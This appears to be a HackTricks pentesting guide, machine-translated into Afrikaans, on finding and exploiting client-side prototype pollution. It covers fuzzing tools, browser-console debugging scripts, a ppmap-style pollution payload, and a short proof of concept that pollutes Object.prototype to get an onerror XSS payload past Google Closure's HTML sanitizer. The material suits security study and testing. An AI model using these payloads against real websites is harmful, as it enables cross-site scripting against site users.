Client Side Prototype Pollution

Ondersteun HackTricks

Ontdekking met outomatiese gereedskap

Die gereedskap https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap en https://github.com/kosmosec/proto-find kan gebruik word om prototipe besoedeling kwesbaarhede te vind.

Boonop kan jy ook die blaaier uitbreiding PPScan gebruik om outomaties die bladsye wat jy toegang het te skandeer vir prototipe besoedeling kwesbaarhede.

Foutopsporing waar 'n eienskap gebruik word

// Stop debugger where 'potentialGadget' property is accessed
Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){
console.trace();
return 'test';
}})

Vind die oorsaak van Prototype Pollution

Sodra 'n prototype pollution kwesbaarheid deur enige van die gereedskap geïdentifiseer is, en as die kode nie te kompleks is nie, kan jy die kwesbaarheid vind deur te soek na sleutelwoorde soos location.hash, decodeURIComponent, of location.search in die Chrome Developer Tools. Hierdie benadering stel jou in staat om die kwesbare gedeelte van die JavaScript-kode te pinpoint.

Vir groter en meer komplekse kodebasisse, behels 'n eenvoudige metode om die kwesbare kode te ontdek die volgende stappe:

  1. Gebruik 'n gereedskap om 'n kwesbaarheid te identifiseer en 'n payload te verkry wat ontwerp is om 'n eienskap in die konstruktor in te stel. 'n Voorbeeld wat deur ppmap verskaf word, kan lyk soos: constructor[prototype][ppmap]=reserved.

  2. Stel 'n breekpunt in op die eerste lyn van JavaScript-kode wat op die bladsy sal uitvoer. Vernuw die bladsy met die payload, en pauzeer die uitvoering by hierdie breekpunt.

  3. Terwyl die JavaScript-uitvoering gepouseer is, voer die volgende skrip in die JS-konsol uit. Hierdie skrip sal aandui wanneer die 'ppmap' eienskap geskep word, wat help om die oorsprong daarvan te lokaliseer:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Navigeer terug na die Sources oortjie en kies “Resume script execution”. Die JavaScript sal voortgaan om uit te voer, en die 'ppmap' eienskap sal soos verwag besoedel word. Deur die verskafde snit te gebruik, kan die presiese plek waar die 'ppmap' eienskap besoedel word, geïdentifiseer word. Deur die Call Stack te ondersoek, kan verskillende stakke waar die besoedeling plaasgevind het, waargeneem word.

Wanneer jy besluit watter stap om te ondersoek, is dit dikwels nuttig om stakke te teiken wat met JavaScript-biblioteeklêers geassosieer word, aangesien prototipe besoedeling dikwels binne hierdie biblioteke voorkom. Identifiseer die relevante stap deur dit aan biblioteeklêers te koppel (sigbaar aan die regterkant, soortgelyk aan 'n beeld wat vir leiding verskaf). In scenario's met verskeie stakke, soos dié op lyne 4 en 6, is die logiese keuse die stap op lyn 4, aangesien dit die aanvanklike voorkoms van besoedeling verteenwoordig en dus die wortel oorsaak van die kwesbaarheid. Deur op die stap te klik, sal jy na die kwesbare kode gelei word.

https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg

Vind Script Gadgets

Die gadget is die kode wat misbruik sal word sodra 'n PP kwesbaarheid ontdek word.

As die aansoek eenvoudig is, kan ons soek na sleutelwoorde soos srcdoc/innerHTML/iframe/createElement en die brondkode hersien en kyk of dit leads to javascript execution. Soms mag die genoem tegnieke glad nie gadgets vind nie. In daardie geval, onthul 'n suiwer brondkode hersiening 'n paar mooi gadgets soos die onderstaande voorbeeld.

Voorbeeld Vind PP gadget in Mithil biblioteek kode

Kyk na hierdie skrywe: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Herkompilering van payloads vir kwesbare biblioteke

HTML Sanitizers omseiling via PP

Hierdie navorsing toon PP gadgets om te gebruik om die sanitisasies wat deur sommige HTML sanitizers biblioteke verskaf word, te omseil:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Verwysings

Ondersteun HackTricks

Last updated